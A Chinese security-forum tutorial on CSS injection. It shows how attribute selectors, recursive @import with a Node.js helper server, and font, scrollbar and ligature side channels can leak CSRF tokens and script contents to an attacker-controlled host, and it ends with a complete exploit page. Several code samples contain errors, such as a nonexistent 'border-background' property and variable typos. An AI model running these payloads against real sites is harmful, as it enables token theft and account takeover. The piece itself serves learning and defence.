问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CSS安全:不需要XSS也可以得到你的token!
漏洞分析
CTF
之前我们看到了用HTML进行dom clobbering攻击,那么这次,我们来利用CSS进行Inject吧!
前言 == 之前我们看到了用HTML进行dom clobbering攻击,那么这次,我们来利用CSS进行Inject吧! 什么是CSS Injection ================ css注入其实就和前面的HTML进行dom clobbering一样,就是对css可控的情况下面,利用`style`标签来进行攻击,不需要用到js和html就可以做到一些事情,并且很多开发者并不会觉得css能进行injection,所以不管在sanitizer还是dompurify,还是什么其他自己写的一些限制,都不会对style进行什么限制,所以还是有危害在的,跟随我的脚步,猛攻! 利用CSS进行leak =========== 两个特性 ---- 第一个特性:CSS的属性选择器,可以利用选择器来猜解对应的数据进行leak,比如说`input[value^=D]`可以筛选开头为D的元素,其中`^`用来匹配开头`$`匹配结尾`*`匹配内容。 第二个特性:CSS本质上会发送Request请求,当我们的background设定了一个url后,CSS就会发送请求。 综合以上这两个特点,我们可以很简单的就知道要如何利用,举个简单的例子 ```css input[value^=D]{ background: url(https://Delete.love?love=D) } ``` 当匹配到D为开头,那么CSS就会像我们的Server发送`love=D`的请求,那我们就知道了某个我们要leak的值的开头就是D。 好,既然我们知道了如何去得到我们要的值,那么我们现在只需要确定我们需要leak什么值,一般来说我们的攻击都是要扩大范围,如何从点到面,从面到体,那么从打点思路来讲,最好不过的就是一个admin后台,所以我们目标定为,leak admin token hidden input ------------ 大多数页面,我们用户的token都是被写到hidden里面的,那么我们前面的选择器就没办法直接选择到对应的元素,例如 ```html <form action="/action"> <input type="hidden" name="csrf-token" value="DeleteXSS"> <input name="username"> <input type="submit"> </form> ``` 这个时候,我们如果用 ```css [input name="csrf-token"][value^=D]{ background:url(http://delete.love?love=D) } ``` 是取不到的,这里我还是实操一下,不然说服性不强  然后打开页面后  可以看到正常写的可以发送请求,但是我们尝试换成hidden  可以看到请求并不会发过来,因为他并不会显示,对应他的background就没必要request,所以会发生这种情况,如何解决? - 第一种情况:当我们leak的值后面有别的标签在我们可以让后面的标签进行background的request即可 ```css input[name="csrf-token"][value^="D"] + input { background: url(https://example.com?q=a) } ``` 后面的`+input`取到的就是下一个元素,  - 第二种情况:那如果我们要leak的值在最后面,没有标签了怎么办?这个时候我们可以看到这里[caniuse](https://caniuse.com/css-has) 我们可以利用has的选择器直接抓取,像这样  我们就可以随便抓到我们要的值了(有人应该发现了换值了因为怕是用到前面的方法请求得到的,嗯!严谨一点) meta ---- 同上面一样,可以设置为:`<meta name="csrf-token" content="abc123">`,并且这里也可以利用has去得到token ```css html:has(meta[name="csrf-token"][content^="a"]) { background: url(https://example.com?q=a); } ``` 然后另外一个方法是,虽然meta和hidden都是不可见的,但是通过css我们可以控制meta为可见,再利用前面的方法即可。 ```css head, meta { display: block; } meta[name="csrf-token"][content^="a"] { background: url(https://example.com?q=a); } ``` 这里记得也要把head也一起设置了因为head标签预设display:none  Question ======== 对于以上的一些手法,不少人也许会提出疑问,csrf-token可能会动态更新,我们如何一次性拿到所有的字符串?难道只能一个一个去leak吗,当token很长的时候,是不是需要很长时间?又或者是我们有没有其他可以leak的东西?那么接下来,我们来研究这些东西 一次性拿到你需要的数据 =========== 关于这个问题,我们可以看一下这份报告:[CSS Injection Attacks](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)  Pepe Vila指出可以利用@import来引入style,具体的思路就是,在你的server端写下类似这样子的css文件 ```css @import url(https://vpsip.com/payload?len=1) @import url(https://vpsip.com/payload?len=2) @import url(https://vpsip.com/payload?len=3) @import url(https://vpsip.com/payload?len=4) @import url(https://vpsip.com/payload?len=5) @import url(https://vpsip.com/payload?len=6) @import url(https://vpsip.com/payload?len=7) @import url(https://vpsip.com/payload?len=8) ``` 然后只需要在攻击的时候import一个 ```css @import url(https://vpsip.com/start?len=8) ``` server端就会一个个去leak对应的值,并且这个样子就不需要重新加载新的东西,所以也不用担心刷新后某个值会变了。 现在举个例子。 ```css <!doctype html> <body> <div><article><div><p><div><div><div><div><div> <input type="text" value="Deletefvv"> <style> @import url('//vpsip:7777/start?'); </style> ``` 脚本 ```node const http = require('http'); const url = require('url'); const port = 5001; const HOSTNAME = "http://localhost:5001"; const DEBUG = false; var prefix = "", postfix = ""; var pending = []; var stop = false, ready = 0, n = 0; const requestHandler = (request, response) => { let req = url.parse(request.url, url); log('\treq: %s', request.url); if (stop) return response.end(); switch (req.pathname) { case "/start": genResponse(response); break; case "/leak": response.end(); if (req.query.pre && prefix !== req.query.pre) { prefix = req.query.pre; } else if (req.query.post && postfix !== req.query.post) { postfix = req.query.post; } else { break; } if (ready == 2) { genResponse(pending.shift()); ready = 0; } else { ready++; log('\tleak: waiting others...'); } break; case "/next": if (ready == 2) { genResponse(respose); ready = 0; } else { pending.push(response); ready++; log('\tquery: waiting others...'); } break; case "/end": stop = true; console.log('[+] END: %s', req.query.token); default: response.end(); } } const genResponse = (response) => { console.log('...pre-payoad: ' + prefix); console.log('...post-payoad: ' + postfix); let css = '@import url('+ HOSTNAME + '/next?' + Math.random() + ');' + [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value$="' + e + postfix + '"]{--e'+n+':url(' + HOSTNAME + '/leak?post=' + e + postfix + ')}')).join('') + 'div '.repeat(n) + 'input{background:var(--e'+n+')}' + [0,1,2,3,4,5,6,7,8,9,'a','b','c','d','e','f'].map(e => ('input[value^="' + prefix + e + '"]{--s'+n+':url(' + HOSTNAME + '/leak?pre=' + prefix + e +')}')).join('') + 'div '.repeat(n) + 'input{border-image:var(--s'+n+')}' + 'input[value='+ prefix + postfix + ']{list-style:url(' + HOSTNAME + '/end?token=' + prefix + postfix + '&)};'; response.writeHead(200, { 'Content-Type': 'text/css'}); response.write(css); response.end(); n++; } const server = http.createServer(requestHandler) server.listen(port, (err) => { if (err) { return console.log('[-] Error: something bad happened', err); } console.log('[+] Server is listening on %d', port); }) function log() { if (DEBUG) console.log.apply(console, arguments); } ``` 其实就是不断leak,思路是和上面是一致的  可以看出来leak出来了。 所以只要用`@import`这个CSS 的功能,就可以做到「不重新载入页面,但可以动态载入新的style」,进而偷取后面的每一个字符。 那么对于leak速度的问题,我们可以取双向爆破的方法,也就是,一个从`^`开始一个从`$`开始,从而将效率翻倍,但是这里要记住一个点就是,要用到不同的属性,一个用background,另一个要用border-background,不然会冲突只发出一个request,像这样 ```css input[name="secret"][value^="a"] { background: url(https://b.myserver.com/leak?q=a) } input[name="secret"][value^="b"] { background: url(https://b.myserver.com/leak?q=b) } // ... input[name="secret"][value$="a"] { border-background: url(https://b.myserver2.com/suffix?q=a) } input[name="secret"][value$="b"] { border-background: url(https://b.myserver2.com/suffix?q=b) } ``` leak其他的数据 ========= 除了可以拿到标签里面的数据,我们能否取到别的数据?比如script的程序?又或者是页面上的内容。 unicode-range ------------- 在CSS 里面,有一个属性叫做「unicode-range」,可以针对不同的字元,载入不同的字体。 举一个例子MDN的例子 ```css <html> <body> <style> @font-face { font-family: "Ampersand"; src: local("Times New Roman"); unicode-range: U+26; } div { font-size: 4em; font-family: Ampersand, Helvetica, sans-serif; } </style> <div>Me & You = Us</div> </body> </html> ``` 因为设置的unicode-range是U+26,而div标签中U+26表示的是`&`所以只有`&`会用特殊字体显示出来。 利用 ```css <html> <body> <style> @font-face { font-family: "f1"; src: url(https://myserver.com?q=1); unicode-range: U+31; } @font-face { font-family: "f2"; src: url(https://myserver.com?q=2); unicode-range: U+32; } @font-face { font-family: "f3"; src: url(https://myserver.com?q=3); unicode-range: U+33; } @font-face { font-family: "fa"; src: url(https://myserver.com?q=a); unicode-range: U+61; } @font-face { font-family: "fb"; src: url(https://myserver.com?q=b); unicode-range: U+62; } @font-face { font-family: "fc"; src: url(https://myserver.com?q=c); unicode-range: U+63; } div { font-size: 4em; font-family: f1, f2, f3, fa, fb, fc; } </style> Secret: <div>ca31a</div> </body> </html> ```  是可以做到的,但是问题就是我们可以看到他是乱序的,所以其实也很难利用起来,所以请看下面 字体高度差异+first-line+scrollbar --------------------------- 首先,我们要知道,不同的字体他的每个字符的高度是不一样的,有一个叫做「Comic Sans MS」的字体,高度就比另一个「Courier New」高。 ```html <html> <body> <style> @font-face { font-family: "fa"; src:local('Comic Sans MS'); font-style:monospace; unicode-range: U+41; } div { font-size: 30px; height: 40px; width: 100px; font-family: fa, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; } </style> Secret: <div>DBC</div> <div>ABC</div> </body> </html> ```  这样子应该可以很直观的就能看到,当我们设定了字体高度为30px,`Comic Sans MS`为45px,文字区块的高度设成40px,发现了没有,在下面这个字符串中出现了scrollbar,那么这个有什么用呢?我们css可以对scrollbar进行设定,可以和之前一样加入一个background: ```css div::-webkit-scrollbar:vertical { background: url(https://myserver.com?q=a); } ``` 这么一来,是不是触发了scrollbar的就会发送request到server,从而我们就可以利用了,因此,如果一直重复载入不同字体,那server 就能知道画面上有什么字符,这点跟刚刚我们用`unicode-range`能做到的事情是一样的。 那么我们如何和之前一样得到顺序的secret呢?我们可以让div的宽度缩小到只能显示一个字符的情况,再搭配`::first-line`来对第一行的样式进行调整。 ```css <html> <body> <style> @font-face { font-family: "fa"; src:local('Comic Sans MS'); font-style:monospace; unicode-range: U+41; } div { font-size: 0px; height: 40px; width: 20px; font-family: fa, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; } div::first-line{ font-size: 30px; } </style> Secret: <div>CBAD</div> </body> </html> ```  这个时候我们让div只能显示出一个字符,再让first-line变30px,所以就只会出现第一个字符。 然后搭配上面的方法,我们就可以利用高度差发送request到我们的server: ```css <html> <body> <style> @font-face { font-family: "fa"; src:local('Comic Sans MS'); font-style:monospace; unicode-range: U+43; } div { font-size: 0px; height: 40px; width: 20px; font-family: fa, "Courier New"; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; --leak: url(http://vps:7777?C=C); } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); } </style> Secret: <div>CBAD</div> </body> </html> ```  可以看到确实可以这样子做,接下来我们只需要调整宽度就行,然后可以用CSS animation 不断载入不同的font-family 以及指定不同的`--leak`变数。 最后,写了一个完整的exp,大家可以本地跑一下 ```css <html> <body> <style> @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;} @font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;} @font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;} @font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;} @font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;} @font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;} @font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;} @font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;} @font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;} @font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;} @font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;} @font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;} @font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;} @font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;} @font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;} @font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;} @font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;} @font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;} @font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;} @font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;} @font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;} @font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;} @font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;} @font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;} @font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;} @font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;} @font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;} @font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;} @font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;} @font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;} @font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;} @font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;} @font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;} @font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;} @font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;} @font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;} @font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF} div { font-size: 0px; height: 40px; width: 0px; font-family: reset; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; animation: loop step-end 200s 0s, trychar step-end 2s 0s; animation-iteration-count: 1, infinite; } @keyframes trychar { 0% { font-family: rest; } /* delay for width change */ 5% { font-family: has_A, rest; --leak: url(?a); } 6% { font-family: rest; } 10% { font-family: has_B, rest; --leak: url(?b); } 11% { font-family: rest; } 15% { font-family: has_C, rest; --leak: url(?c); } 16% { font-family: rest } 20% { font-family: has_D, rest; --leak: url(?d); } 21% { font-family: rest; } 25% { font-family: has_E, rest; --leak: url(?e); } 26% { font-family: rest; } 30% { font-family: has_F, rest; --leak: url(?f); } 31% { font-family: rest; } 35% { font-family: has_G, rest; --leak: url(?g); } 36% { font-family: rest; } 40% { font-family: has_H, rest; --leak: url(?h); } 41% { font-family: rest } 45% { font-family: has_I, rest; --leak: url(?i); } 46% { font-family: rest; } 50% { font-family: has_J, rest; --leak: url(?j); } 51% { font-family: rest; } 55% { font-family: has_K, rest; --leak: url(?k); } 56% { font-family: rest; } 60% { font-family: has_L, rest; --leak: url(?l); } 61% { font-family: rest; } 65% { font-family: has_M, rest; --leak: url(?m); } 66% { font-family: rest; } 70% { font-family: has_N, rest; --leak: url(?n); } 71% { font-family: rest; } 75% { font-family: has_O, rest; --leak: url(?o); } 76% { font-family: rest; } 80% { font-family: has_P, rest; --leak: url(?p); } 81% { font-family: rest; } 85% { font-family: has_Q, rest; --leak: url(?q); } 86% { font-family: rest; } 90% { font-family: has_R, rest; --leak: url(?r); } 91% { font-family: rest; } 95% { font-family: has_S, rest; --leak: url(?s); } 96% { font-family: rest; } } @keyframes loop { 0% { width: 0px } 1% { width: 20px } 2% { width: 40px } 3% { width: 60px } 4% { width: 80px } 4% { width: 100px } 5% { width: 120px } 6% { width: 140px } 7% { width: 0px } } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); } </style> Secret: <div>CBAD</div> </body> </html> ``` 本地跑一下就知道是怎么样的了 ligature+scrollbar ------------------ 连字(ligature),在某些字型当中,会把一些特定的组合render 成连在一起的样子  这个应该很好理解,就是将两个字母组合在了一起,同样的他可以和前面的方法一样可以完全的把所有字符leak出来。 结合以上的方法,我们甚至可以得到script的内容,只需要在css处加上 ```css head, script { display: block; } ``` 即可,接下来放出例子 ```html <html lang="en"> <body> <script> var secret = "abc123" </script> <hr> <script> var secret2 = "cba321" </script> <svg> <defs> <font horiz-adv-x="0"> <font-face font-family="hack" units-per-em="1000" /> <glyph unicode='"a' horiz-adv-x="99999" d="M1 0z"/> </font> </defs> </svg> <style> script { display: block; font-family:"hack"; white-space:n owrap; overflow-x: auto; width: 500px; background:lightblue; } script::-webkit-scrollbar { background: blue; } </style> </body> </html> ``` 当出现"a的连字的时候就会宽度超宽,scrollbar 出现,和前面一样,利用scrollbar进行request即可 总结 == 在学习之前我真没想到一个小小的CSS能玩出这么多花样,前辈们真的是太强了! 在你看到这篇文章的时候,也许我已经在准备下一篇了:单纯利用HTML来进行攻击 我们再见 reference: <https://aszx87410.github.io/beyond-xss/ch3/css-injection/> <https://aszx87410.github.io/beyond-xss/ch3/css-injection-2/> <https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231> <https://demo.vwzq.net/css2.html> <https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/>
发表于 2025-09-22 09:48:29
阅读 ( 359 )
分类:
WEB安全
2 推荐
收藏
0 条评论
请先
登录
后评论
梦洛
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!